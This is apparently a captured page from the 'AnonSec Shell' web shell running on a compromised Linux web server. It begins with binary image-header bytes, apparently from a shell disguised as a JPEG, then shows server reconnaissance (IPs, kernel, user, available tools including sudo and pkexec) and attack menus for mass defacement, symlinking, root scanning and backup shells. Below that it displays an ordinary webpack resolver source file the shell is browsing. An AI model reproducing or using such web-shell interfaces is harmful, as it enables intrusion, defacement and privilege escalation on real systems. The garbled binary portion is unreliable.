JFIF  H H C nxxd C "     &    !1A2Q"aqBb    1   ? R{~ ,.Y| @sl_޸s[+6ϵG};?2Y`&9LP ?3rj  "@V]:3T -G*P ( *(@AEY]qqqALn +Wtu?)l QU T* Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ ηnu ڶh% (Lvũbb- ?M֍݌٥IHln㏷L(6 9L^"6P  d&1H&8@TUT CJ%eʹFTj4i5=0g J &Wc+3kU@PS@HH33M * "Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePP  d\A2glo=WL(6 ^;k"ucoH"b ,PDVlvL_/:̗rN\m dcw T-O$w+FZ5T *Y~l: 99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~ YИ 3M3@E)GTg%Anp P MUҀhԳW c֦iZ ffR 7qMcyAZT c0bZU k+oG<] APQ T A={PDti@c>>KÚ"q L.1P k6QY7t.k7o  <P &yַܼJZy Wz{UrS @ ~P)Y:A"]Y&ScVO%17 6l4 i4YR5 ruk* ؼdZͨZZ cLakb3N6æ\1`XTloTuT AA 7Uq@2ŬzoʼnБRͪ&8}: e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt" ( .=Y:V#'H: δ4#6yjѥBB ;WD-ElFf67*\AmAD Q __'2$ TX 9nu'm@iPDT qS`%u%3[nY,  :g = tiX H]ij"+6Z* .~|05s6 ,ǡ ogm+ KtE-BF  ES@(UJ xM~8%g/= Vw[Vh 3lJT  rK -kˎY ٰ  ,ukͱٵf sXDP  ]p]&MS95O+j &f6m463@ t8ЕX=6}HR 5ٶ06 /@嚵*6  " hP@eVDiYQT `7tLf4c?m//B4 laj  L} :E  b#PHQb, yN`rkAb^ |} s4XB4 * ,@[{Ru+%le2} `,kI$U` >OMuh  P % ʵ/ L\5aɕVN1R6 3}ZLj-Dl@ *( K\^i@F@551 k㫖h  Q沬#h XV +;]6z OsFpiX $OQ ) ųl4 YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 172.67.142.142  /  Your IP : 104.23.243.116   [ Reverse IP ]
Web Server : nginx/1.18.0
System : Linux ip-172-31-29-104 5.15.0-1075-aws #82~20.04.1-Ubuntu SMP Thu Dec 19 05:24:09 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/app/comcon24/cms/node_modules/pnp-webpack-plugin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/app/comcon24/cms/node_modules/pnp-webpack-plugin/resolver.js
const path = require(`path`);

/**
 * return source path given a locator
 * @param {*} sourceLocator 
 * @returns 
 */
function getSourceLocation(sourceLocator, pnpapi) {
  if (!sourceLocator) return null;

  const sourceInformation = pnpapi.getPackageInformation(sourceLocator);

  if (!sourceInformation)
    throw new Error(`Couldn't find the package to use as resolution source`);

  if (!sourceInformation.packageLocation)
    throw new Error(
      `The package to use as resolution source seem to not have been installed - maybe it's a devDependency not installed in prod?`
    );

  return sourceInformation.packageLocation.replace(/\/?$/, `/`);
}

/**
 *
 * @param {*} sourceLocator
 * @param {*} filter
 * @returns
 */
function makeResolver(opts) {
  const { sourceLocator, filter, pnpapi } = opts || {};
  const sourceLocation = getSourceLocation(sourceLocator, pnpapi);
  return (resolver) => {
    const BACKWARD_PATH = /^\.\.([\\\/]|$)/;

    const resolvedHook = resolver.ensureHook(`resolve`);

    // Prevents the SymlinkPlugin from kicking in. We need the symlinks to be preserved because that's how we deal with peer dependencies ambiguities.
    resolver.getHook(`file`).intercept({
      register: (tapInfo) => {
        return tapInfo.name !== `SymlinkPlugin`
          ? tapInfo
          : Object.assign({}, tapInfo, {
              fn: (request, resolveContext, callback) => {
                callback();
              },
            });
      },
    });

    resolver
      .getHook(`after-module`)
      .tapAsync(`PnpResolver`, (request, resolveContext, callback) => {
        // rethrow pnp errors if we have any for this request
        return callback(
          resolveContext.pnpErrors &&
            resolveContext.pnpErrors.get(request.context.issuer)
        );
      });

    // Register a plugin that will resolve bare imports into the package location on the filesystem before leaving the rest of the resolution to Webpack
    resolver
      .getHook(`before-module`)
      .tapAsync(`PnpResolver`, (requestContext, resolveContext, callback) => {
        let request = requestContext.request;
        let issuer = requestContext.context.issuer;

        // When using require.context, issuer seems to be false (cf https://github.com/webpack/webpack-dev-server/blob/d0725c98fb752d8c0b1e8c9067e526e22b5f5134/client-src/default/index.js#L94)
        if (!issuer) {
          issuer = `${requestContext.path}/`;
          // We only support issuer when they're absolute paths. I'm not sure the opposite can ever happen, but better check here.
        } else if (!path.isAbsolute(issuer)) {
          throw new Error(
            `Cannot successfully resolve this dependency - issuer not supported (${issuer})`
          );
        }

        if (filter) {
          const relative = path.relative(filter, issuer);
          if (path.isAbsolute(relative) || BACKWARD_PATH.test(relative)) {
            return callback(null);
          }
        }

        let resolutionIssuer = sourceLocation || issuer;
        let resolution;

        try {
          resolution = pnpapi.resolveToUnqualified(request, resolutionIssuer, {
            considerBuiltins: false,
          });
        } catch (error) {
          if (resolveContext.missingDependencies)
            resolveContext.missingDependencies.add(requestContext.path);

          if (resolveContext.log) resolveContext.log(error.message);

          resolveContext.pnpErrors = resolveContext.pnpErrors || new Map();
          resolveContext.pnpErrors.set(issuer, error);

          return callback();
        }

        resolver.doResolve(
          resolvedHook,
          Object.assign({}, requestContext, {
            request: resolution,
          }),
          null,
          resolveContext,
          callback
        );
      });
  };
}

module.exports.makeResolver = makeResolver;

Anon7 - 2022
AnonSec Team